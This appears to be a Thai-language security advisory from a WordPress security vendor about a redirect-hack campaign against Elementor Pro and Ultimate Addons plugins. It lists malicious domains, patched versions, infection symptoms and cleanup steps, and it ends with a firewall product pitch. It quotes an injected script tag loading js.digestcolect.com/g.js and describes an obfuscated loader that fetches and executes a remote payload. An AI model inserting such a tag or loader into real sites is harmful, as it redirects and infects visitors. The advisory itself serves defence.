การโจมตีเป้าหมายช่องโหว่ในธีมและปลั๊กอิน WordPress รุนแรงขึ้นในเดือนที่ผ่านมา แคมเปญโจมตีปลั๊กอิน Elementor Pro, The Ultimate Addons for Elementor & Astra Theme เปลี่ยนรูปแบบเป็น Redirect Hack ส่งผู้ใช้ไปเว็บน่าสงสัย:
- digestcolect.com, js.donatelloflowfirstly.ga, track.developfirstline.com/t.js?s=5
- deliverynotforme.best, 0.beerockstars.ga, 0.directedmyfounds.ga
- well.linetoadsactive.com, 0.realhelpcompany.ga, fast.helpmart.ga
- dock.lovegreenpencils.ga, cht.secondaryinformtrand.com
- main.travelfornamewalking.ga, irc.lovegreenpencils.ga
Elementor และ Ultimate Addons ได้ปล่อย Patch แล้ว กรุณาอัปเดตเป็น:
- Elementor Pro: 2.9.4
- Ultimate Addons for Elementor: 1.24.2
สิ่งที่ทราบจนถึงปัจจุบัน
อาการหลัก: Redirect อาการอื่นๆ:
- ไฟล์ charabia (Gibberish) ใน Root Directory
- Admin user ไม่ได้รับอนุญาตใน WP Admin
- ไฟล์/โฟลเดอร์แปลกใน
/wp-content/uploads/elementor/custom-icons/ - ไฟล์แปลกใน Root:
wp-xmlrpc.phpwp-cl-plugin.php - ไฟล์ JS/PHP ร้ายหลายพันไฟล์ใน File System
ตัวอย่างโค้ดมัลแวร์ Redirect (digestcolect.com)
พบในไฟล์ hjghjerg โค้ด PHP สแกนไฟล์ index และ .js ทั้งเซิร์ฟเวอร์ แล้วฉีดโค้ดร้าย
พบใน header.php โค้ด Obfuscate โหลดสคริปต์จาก css.digestcolect.com/m.txt แล้ว execute
พบใน Core Theme Files: <script src='https://js.digestcolect.com/g.js?v=18'></script>
วิธีแก้ไข Digestcolect Redirect
- ตรวจสอบไฟล์ที่แฮกเกอร์ชอบ:
functions.php, wp-config.php, index.php - เปรียบเทียบ Core WordPress Files กับบนเซิร์ฟเวอร์
- สแกนเว็บด้วย Online Malware Scanner
- เช็ค Database หา Admin/User แปลก
- เช็ค Root Directory หาไฟล์ Gibberish
ปฏิบัติตาม WordPress Redirection Removal Guide หรือดูวิดีโอ Step-by-step หาก Redirect ยังคงอยู่ อาจมี Backdoor ต้องสแกนลึกด้วย Code Review
ยังไม่ติดเชื้อ? ป้องกันตั้งแต่ตอนนี้
ติดตั้ง Premium Firewall อย่าง Astra Security ปกป้อง 24×7 จาก JS Injection, SQLi, CSRF, XSS, Bad Bots, RFI, LFI และ 100+ 威胁 พร้อมเครื่องมือ: Malware Scanner, Country Blocking, IP Blocking
